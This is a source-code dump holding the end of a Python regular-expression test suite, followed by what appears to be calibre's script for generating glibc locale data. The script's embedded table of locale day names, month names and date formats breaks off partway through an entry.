self.assertEqual(re.findall(r'[\A\B\b\C\Z]', 'AB\bCZ'), ['A', 'B', '\b', 'C', 'Z']) @bigmemtest(size=_2G, memuse=1) def test_large_search(self, size): # Issue #10182: indices were 32-bit-truncated. s = 'a' * size m = re.search('$', s) self.assertIsNotNone(m) self.assertEqual(m.start(), size) self.assertEqual(m.end(), size) # The huge memuse is because of re.sub() using a list and a join() # to create the replacement result. @bigmemtest(size=_2G, memuse=16 + 2) def test_large_subn(self, size): # Issue #10182: indices were 32-bit-truncated. s = 'a' * size r, n = re.subn('', '', s) self.assertEqual(r, s) self.assertEqual(n, size + 1) def test_bug_16688(self): # Issue 16688: Backreferences make case-insensitive regex fail on # non-ASCII strings. self.assertEqual(re.findall(r"(?i)(a)\1", "aa \u0100"), ['a']) self.assertEqual(re.match(r"(?s).{1,3}", "\u0100\u0100").span(), (0, 2)) def test_repeat_minmax_overflow(self): # Issue #13169 string = "x" * 100000 self.assertEqual(re.match(r".{65535}", string).span(), (0, 65535)) self.assertEqual(re.match(r".{,65535}", string).span(), (0, 65535)) self.assertEqual(re.match(r".{65535,}?", string).span(), (0, 65535)) self.assertEqual(re.match(r".{65536}", string).span(), (0, 65536)) self.assertEqual(re.match(r".{,65536}", string).span(), (0, 65536)) self.assertEqual(re.match(r".{65536,}?", string).span(), (0, 65536)) # 2**128 should be big enough to overflow both SRE_CODE and Py_ssize_t. self.assertRaises(OverflowError, re.compile, r".{%d}" % 2**128) self.assertRaises(OverflowError, re.compile, r".{,%d}" % 2**128) self.assertRaises(OverflowError, re.compile, r".{%d,}?" % 2**128) self.assertRaises(OverflowError, re.compile, r".{%d,%d}" % (2**129, 2**128)) @cpython_only def test_repeat_minmax_overflow_maxrepeat(self): try: from _sre import MAXREPEAT except ImportError: self.skipTest('requires _sre.MAXREPEAT constant') string = "x" * 100000 self.assertIsNone(re.match(r".{%d}" % (MAXREPEAT - 1), string)) self.assertEqual(re.match(r".{,%d}" % (MAXREPEAT - 1), string).span(), (0, 100000)) self.assertIsNone(re.match(r".{%d,}?" % (MAXREPEAT - 1), string)) self.assertRaises(OverflowError, re.compile, r".{%d}" % MAXREPEAT) self.assertRaises(OverflowError, re.compile, r".{,%d}" % MAXREPEAT) self.assertRaises(OverflowError, re.compile, r".{%d,}?" % MAXREPEAT) def test_backref_group_name_in_exception(self): # Issue 17341: Poor error message when compiling invalid regex with self.assertRaisesRegex(sre_constants.error, '<foo>'): re.compile('(?P=<foo>)') def test_group_name_in_exception(self): # Issue 17341: Poor error message when compiling invalid regex with self.assertRaisesRegex(sre_constants.error, '\?foo'): re.compile('(?P<?foo>)') def test_issue17998(self): for reps in '*', '+', '?', '{1}': for mod in '', '?': pattern = '.' + reps + mod + 'yz' self.assertEqual(re.compile(pattern, re.S).findall('xyz'), ['xyz'], msg=pattern) pattern = pattern.encode() self.assertEqual(re.compile(pattern, re.S).findall(b'xyz'), [b'xyz'], msg=pattern) def test_match_repr(self): for string in '[abracadabra]', S('[abracadabra]'): m = re.search(r'(.+)(.*?)\1', string) self.assertEqual(repr(m), "<%s.%s object; " "span=(1, 12), match='abracadabra'>" % (type(m).__module__, type(m).__qualname__)) for string in (b'[abracadabra]', B(b'[abracadabra]'), bytearray(b'[abracadabra]'), memoryview(b'[abracadabra]')): m = re.search(rb'(.+)(.*?)\1', string) self.assertEqual(repr(m), "<%s.%s object; " "span=(1, 12), match=b'abracadabra'>" % (type(m).__module__, type(m).__qualname__)) first, second = list(re.finditer("(aa)|(bb)", "aa bb")) self.assertEqual(repr(first), "<%s.%s object; " "span=(0, 2), match='aa'>" % (type(second).__module__, type(first).__qualname__)) self.assertEqual(repr(second), "<%s.%s object; " "span=(3, 5), match='bb'>" % (type(second).__module__, type(second).__qualname__)) def test_bug_2537(self): # issue 2537: empty submatches for outer_op in ('{0,}', '*', '+', '{1,187}'): for inner_op in ('{0,}', '*', '?'): r = re.compile("^((x|y)%s)%s" % (inner_op, outer_op)) m = r.match("xyyzy") self.assertEqual(m.group(0), "xyy") self.assertEqual(m.group(1), "") self.assertEqual(m.group(2), "y") def test_debug_flag(self): with captured_stdout() as out: re.compile('foo', re.DEBUG) self.assertEqual(out.getvalue().splitlines(), ['literal 102 ', 'literal 111 ', 'literal 111 ']) # Debug output is output again even a second time (bypassing # the cache -- issue #20426). with captured_stdout() as out: re.compile('foo', re.DEBUG) self.assertEqual(out.getvalue().splitlines(), ['literal 102 ', 'literal 111 ', 'literal 111 ']) def test_keyword_parameters(self): # Issue #20283: Accepting the string keyword parameter. pat = re.compile(r'(ab)') self.assertEqual( pat.match(string='abracadabra', pos=7, endpos=10).span(), (7, 9)) self.assertEqual( pat.fullmatch(string='abracadabra', pos=7, endpos=9).span(), (7, 9)) self.assertEqual( pat.search(string='abracadabra', pos=3, endpos=10).span(), (7, 9)) self.assertEqual( pat.findall(string='abracadabra', pos=3, endpos=10), ['ab']) self.assertEqual( pat.split(string='abracadabra', maxsplit=1), ['', 'ab', 'racadabra']) self.assertEqual( pat.scanner(string='abracadabra', pos=3, endpos=10).search().span(), (7, 9)) def test_bug_20998(self): # Issue #20998: Fullmatch of repeated single character pattern # with ignore case. self.assertEqual(re.fullmatch('[a-c]+', 'ABC', re.I).span(), (0, 3)) class PatternReprTests(unittest.TestCase): def check(self, pattern, expected): self.assertEqual(repr(re.compile(pattern)), expected) def check_flags(self, pattern, flags, expected): self.assertEqual(repr(re.compile(pattern, flags)), expected) def test_without_flags(self): self.check('random pattern', "re.compile('random pattern')") def test_single_flag(self): self.check_flags('random pattern', re.IGNORECASE, "re.compile('random pattern', re.IGNORECASE)") def test_multiple_flags(self): self.check_flags('random pattern', re.I|re.S|re.X, "re.compile('random pattern', " "re.IGNORECASE|re.DOTALL|re.VERBOSE)") def test_unicode_flag(self): self.check_flags('random pattern', re.U, "re.compile('random pattern')") self.check_flags('random pattern', re.I|re.S|re.U, "re.compile('random pattern', " "re.IGNORECASE|re.DOTALL)") def test_inline_flags(self): self.check('(?i)pattern', "re.compile('(?i)pattern', re.IGNORECASE)") def test_unknown_flags(self): self.check_flags('random pattern', 0x123000, "re.compile('random pattern', 0x123000)") self.check_flags('random pattern', 0x123000|re.I, "re.compile('random pattern', re.IGNORECASE|0x123000)") def test_bytes(self): self.check(b'bytes pattern', "re.compile(b'bytes pattern')") self.check_flags(b'bytes pattern', re.A, "re.compile(b'bytes pattern', re.ASCII)") def test_quotes(self): self.check('random "double quoted" pattern', '''re.compile('random "double quoted" pattern')''') self.check("random 'single quoted' pattern", '''re.compile("random 'single quoted' pattern")''') self.check('''both 'single' and "double" quotes''', '''re.compile('both \\'single\\' and "double" quotes')''') def test_long_pattern(self): pattern = 'Very %spattern' % ('long ' * 1000) r = repr(re.compile(pattern)) self.assertLess(len(r), 300) self.assertEqual(r[:30], "re.compile('Very long long lon") r = repr(re.compile(pattern, re.I)) self.assertLess(len(r), 300) self.assertEqual(r[:30], "re.compile('Very long long lon") self.assertEqual(r[-16:], ", re.IGNORECASE)") class ImplementationTest(unittest.TestCase): """ Test implementation details of the re module. """ def test_overlap_table(self): f = sre_compile._generate_overlap_table self.assertEqual(f(""), []) self.assertEqual(f("a"), [0]) self.assertEqual(f("abcd"), [0, 0, 0, 0]) self.assertEqual(f("aaaa"), [0, 1, 2, 3]) self.assertEqual(f("ababba"), [0, 0, 1, 2, 0, 1]) self.assertEqual(f("abcabdac"), [0, 0, 0, 1, 2, 0, 1, 0]) def run_re_tests(): from test.re_tests import tests, SUCCEED, FAIL, SYNTAX_ERROR if verbose: print('Running re_tests test suite') else: # To save time, only run the first and last 10 tests #tests = tests[:10] + tests[-10:] pass for t in tests: sys.stdout.flush() pattern = s = outcome = repl = expected = None if len(t) == 5: pattern, s, outcome, repl, expected = t elif len(t) == 3: pattern, s, outcome = t else: raise ValueError('Test tuples should have 3 or 5 fields', t) try: obj = re.compile(pattern) except re.error: if outcome == SYNTAX_ERROR: pass # Expected a syntax error else: print('=== Syntax error:', t) except KeyboardInterrupt: raise KeyboardInterrupt except: print('*** Unexpected error ***', t) if verbose: traceback.print_exc(file=sys.stdout) else: try: result = obj.search(s) except re.error as msg: print('=== Unexpected exception', t, repr(msg)) if outcome == SYNTAX_ERROR: # This should have been a syntax error; forget it. pass elif outcome == FAIL: if result is None: pass # No match, as expected else: print('=== Succeeded incorrectly', t) elif outcome == SUCCEED: if result is not None: # Matched, as expected, so now we compute the # result string and compare it to our expected result. start, end = result.span(0) vardict={'found': result.group(0), 'groups': result.group(), 'flags': result.re.flags} for i in range(1, 100): try: gi = result.group(i) # Special hack because else the string concat fails: if gi is None: gi = "None" except IndexError: gi = "Error" vardict['g%d' % i] = gi for i in result.re.groupindex.keys(): try: gi = result.group(i) if gi is None: gi = "None" except IndexError: gi = "Error" vardict[i] = gi repl = eval(repl, vardict) if repl != expected: print('=== grouping error', t, end=' ') print(repr(repl) + ' should be ' + repr(expected)) else: print('=== Failed incorrectly', t) # Try the match with both pattern and string converted to # bytes, and check that it still succeeds. try: bpat = bytes(pattern, "ascii") bs = bytes(s, "ascii") except UnicodeEncodeError: # skip non-ascii tests pass else: try: bpat = re.compile(bpat) except Exception: print('=== Fails on bytes pattern compile', t) if verbose: traceback.print_exc(file=sys.stdout) else: bytes_result = bpat.search(bs) if bytes_result is None: print('=== Fails on bytes pattern match', t) # Try the match with the search area limited to the extent # of the match and see if it still succeeds. \B will # break (because it won't match at the end or start of a # string), so we'll ignore patterns that feature it. if pattern[:2] != '\\B' and pattern[-2:] != '\\B' \ and result is not None: obj = re.compile(pattern) result = obj.search(s, result.start(0), result.end(0) + 1) if result is None: print('=== Failed on range-limited match', t) # Try the match with IGNORECASE enabled, and check that it # still succeeds. obj = re.compile(pattern, re.IGNORECASE) result = obj.search(s) if result is None: print('=== Fails on case-insensitive match', t) # Try the match with LOCALE enabled, and check that it # still succeeds. if '(?u)' not in pattern: obj = re.compile(pattern, re.LOCALE) result = obj.search(s) if result is None: print('=== Fails on locale-sensitive match', t) # Try the match with UNICODE locale enabled, and check # that it still succeeds. obj = re.compile(pattern, re.UNICODE) result = obj.search(s) if result is None: print('=== Fails on unicode-sensitive match', t) def test_main(): run_unittest(__name__) run_re_tests() if __name__ == "__main__": test_main()
codeparrot/github-code-clean
#!/usr/bin/env python3 # vim:fileencoding=utf-8 from __future__ import (unicode_literals, division, absolute_import, print_function) __license__ = 'GPL v3' __copyright__ = '2014, Kovid Goyal <kovid at kovidgoyal.net>' # A database of locale data for all the languages known to glibc # To regenerate run: # sudo locale-gen -A && python3 lc_time.py import locale, os, pprint, sys def generate_data(): def nl(code): return locale.nl_langinfo(code) ans = [] for x, limit in (('day', 8), ('mon', 13)): for attr in ('ab' + x, x): ans.append((attr, tuple(map(nl, (getattr(locale, '%s_%d' % (attr.upper(), i)) for i in range(1, limit)))))), for x in ('d_t_fmt', 'd_fmt', 't_fmt', 't_fmt_ampm', 'radixchar', 'thousep', 'yesexpr', 'noexpr'): ans.append((x, nl(getattr(locale, x.upper())))) return ans def main(): if sys.version_info[0] < 3: raise RuntimeError('Must be run using python 3.x') locale.setlocale(locale.LC_ALL, '') dest = os.path.abspath(__file__) os.chdir('/usr/share/i18n/locales') data = [] for f in sorted(os.listdir('.')): try: locale.setlocale(locale.LC_ALL, (f, 'utf-8')) except locale.Error: continue data.append((f, generate_data())) with open(dest, 'r+b') as f: raw = f.read() marker = b'# The data {{' + b'{' pos = raw.find(marker) data = pprint.pformat(data, width=160) if not isinstance(data, bytes): data = data.encode('utf-8') f.seek(pos) f.truncate() f.write(marker + b'\ndata = ' + data + b'\n' + b'# }}' + b'}') if __name__ == '__main__': main() # The data {{{ data = [('aa_DJ', [('abday', ('aca', 'etl', 'tal', 'arb', 'kam', 'gum', 'sab')), ('day', ('Acaada', 'Etleeni', 'Talaata', 'Arbaqa', 'Kamiisi', 'Gumqata', 'Sabti')), ('abmon', ('qun', 'nah', 'cig', 'agd', 'cax', 'qas', 'qad', 'leq', 'way', 'dit', 'xim', 'kax')), ('mon', ('Qunxa Garablu', 'Kudo', 'Ciggilta Kudo', 'Agda Baxisso', 'Caxah Alsa', 'Qasa Dirri', 'Qado Dirri', 'Liiqen', 'Waysu', 'Diteli', 'Ximoli', 'Kaxxa Garablu')), ('d_t_fmt', '%a %d %b %Y %r %Z'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%l:%M:%S'), ('t_fmt_ampm', '%X %p'), ('radixchar', '.'), ('thousep', ''), ('yesexpr', '^[oOyY].*'), ('noexpr', '^[mnMN].*')]), ('aa_ER', [('abday', ('Aca', 'Etl', 'Tal', 'Arb', 'Kam', 'Gum', 'Sab')), ('day', ('Acaada', 'Etleeni', 'Talaata', 'Arbaqa', 'Kamiisi', 'Gumqata', 'Sabti')), ('abmon', ('Qun', 'Nah', 'Cig', 'Agd', 'Cax', 'Qas', 'Qad', 'Leq', 'Way', 'Dit', 'Xim', 'Kax')), ('mon', ('Qunxa Garablu', 'Naharsi Kudo', 'Ciggilta Kudo', 'Agda Baxisso', 'Caxah Alsa', 'Qasa Dirri', 'Qado Dirri', 'Leqeeni', 'Waysu', 'Diteli', 'Ximoli', 'Kaxxa Garablu')), ('d_t_fmt', '%A, %B %e, %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%l:%M:%S'), ('t_fmt_ampm', '%X %p'), ('radixchar', '.'), ('thousep', ''), ('yesexpr', '^[yY].*'), ('noexpr', '^[mnMN].*')]), ('aa_ET', [('abday', ('Aca', 'Etl', 'Tal', 'Arb', 'Kam', 'Gum', 'Sab')), ('day', ('Acaada', 'Etleeni', 'Talaata', 'Arbaqa', 'Kamiisi', 'Gumqata', 'Sabti')), ('abmon', ('Qun', 'Kud', 'Cig', 'Agd', 'Cax', 'Qas', 'Qad', 'Leq', 'Way', 'Dit', 'Xim', 'Kax')), ('mon', ('Qunxa Garablu', 'Kudo', 'Ciggilta Kudo', 'Agda Baxisso', 'Caxah Alsa', 'Qasa Dirri', 'Qado Dirri', 'Liiqen', 'Waysu', 'Diteli', 'Ximoli', 'Kaxxa Garablu')), ('d_t_fmt', '%A, %B %e, %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%l:%M:%S'), ('t_fmt_ampm', '%X %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[mnMN].*')]), ('af_ZA', [('abday', ('So', 'Ma', 'Di', 'Wo', 'Do', 'Vr', 'Sa')), ('day', ('Sondag', 'Maandag', 'Dinsdag', 'Woensdag', 'Donderdag', 'Vrydag', 'Saterdag')), ('abmon', ('Jan', 'Feb', 'Mrt', 'Apr', 'Mei', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Des')), ('mon', ('Januarie', 'Februarie', 'Maart', 'April', 'Mei', 'Junie', 'Julie', 'Augustus', 'September', 'Oktober', 'November', 'Desember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[jJyY]'), ('noexpr', '^[nN]')]), ('ak_GH', [('abday', ('Kwe', 'Dwo', 'Ben', 'Wuk', 'Yaw', 'Fia', 'Mem')), ('day', ('Kwesida', 'Dwowda', 'Benada', 'Wukuda', 'Yawda', 'Fida', 'Memeneda')), ('abmon', ('S-Ɔ', 'K-Ɔ', 'E-Ɔ', 'E-O', 'E-K', 'O-A', 'A-K', 'D-Ɔ', 'F-Ɛ', 'Ɔ-A', 'Ɔ-O', 'M-Ɔ')), ('mon', ('Sanda-Ɔpɛpɔn', 'Kwakwar-Ɔgyefuo', 'Ebɔw-Ɔbenem', 'Ebɔbira-Oforisuo', 'Esusow Aketseaba-Kɔtɔnimba', 'Obirade-Ayɛwohomumu', 'Ayɛwoho-Kitawonsa', 'Difuu-Ɔsandaa', 'Fankwa-Ɛbɔ', 'Ɔbɛsɛ-Ahinime', 'Ɔberɛfɛw-Obubuo', 'Mumu-Ɔpɛnimba')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%Y/%m/%d'), ('t_fmt', '%r'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[dDnN].*')]), ('am_ET', [('abday', ('እሑድ', 'ሰኞ ', 'ማክሰ', 'ረቡዕ', 'ሐሙስ', 'ዓርብ', 'ቅዳሜ')), ('day', ('እሑድ', 'ሰኞ', 'ማክሰኞ', 'ረቡዕ', 'ሐሙስ', 'ዓርብ', 'ቅዳሜ')), ('abmon', ('ጃንዩ', 'ፌብሩ', 'ማርች', 'ኤፕረ', 'ሜይ ', 'ጁን ', 'ጁላይ', 'ኦገስ', 'ሴፕቴ', 'ኦክተ', 'ኖቬም', 'ዲሴም')), ('mon', ('ጃንዩወሪ', 'ፌብሩወሪ', 'ማርች', 'ኤፕረል', 'ሜይ', 'ጁን', 'ጁላይ', 'ኦገስት', 'ሴፕቴምበር', 'ኦክተውበር', 'ኖቬምበር', 'ዲሴምበር')), ('d_t_fmt', '%A፣ %B %e ቀን %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%l:%M:%S'), ('t_fmt_ampm', '%X %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('an_ES', [('abday', ('dom', 'lun', 'mar', 'mie', 'chu', 'bie', 'sab')), ('day', ('domingo', 'luns', 'martes', 'miecols', 'chuebes', 'biernes', 'sabado')), ('abmon', ('chi', 'fre', 'mar', 'abr', 'may', 'chn', 'chl', 'ago', 'set', 'oct', 'nob', 'abi')), ('mon', ('chinero', 'frebero', 'marzo', 'abril', 'mayo', 'chunio', 'chulio', 'agosto', 'setiembre', 'octubre', 'nobiembre', 'abiento')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('anp_IN', [('abday', ('रवि ', 'सोम ', 'मंगल ', 'बुध ', 'बृहस्पति ', 'शुक्र ', 'शनि ')), ('day', ('रविवार ', 'सोमवार ', 'मंगलवार ', 'बुधवार ', 'बृहस्पतिवार ', 'शुक्रवार ', 'शनिवार ')), ('abmon', ('जनवरी', 'फरवरी', 'मार्च', 'अप्रैल', 'मई', 'जून', 'जुलाई', 'अगस्त', 'सितंबर', 'अक्टूबर', 'नवंबर', 'दिसंबर')), ('mon', ('जनवरी', 'फरवरी', 'मार्च', 'अप्रैल', 'मई', 'जून', 'जुलाई', 'अगस्त', 'सितंबर', 'अक्टूबर', 'नवंबर', 'दिसंबर')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[हवyY]'), ('noexpr', '^[नइnN]')]), ('ar_AE', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت ')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_BH', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_DZ', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_EG', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_IN', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%A %d %B %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %B %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_IQ', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_JO', [('abday', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نوار', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('mon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نوار', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_KW', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_LB', [('abday', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نوار', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('mon', ('كانون الثاني', 'شباط', 'آذار', 'نيسان', 'نوار', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_LY', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_MA', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[نyY].*'), ('noexpr', '^[لnN].*')]), ('ar_OM', [('abday', ('ح', 'ن', 'ث', 'ر', 'خ', 'ج', 'س')), ('day', ('الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت')), ('abmon', ('ينا', 'فبر', 'مار', 'أبر', 'ماي', 'يون', 'يول', 'أغس', 'سبت', 'أكت', 'نوف', 'ديس')), ('mon', ('يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر')), ('d_t_fmt', '%d %b, %Y %Z %I:%M:%S %p'), ('d_fmt', '%d %b, %Y'), ('t_fmt', '%Z %I:%M:%S '), ('t_fmt_ampm', '%Z %I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', 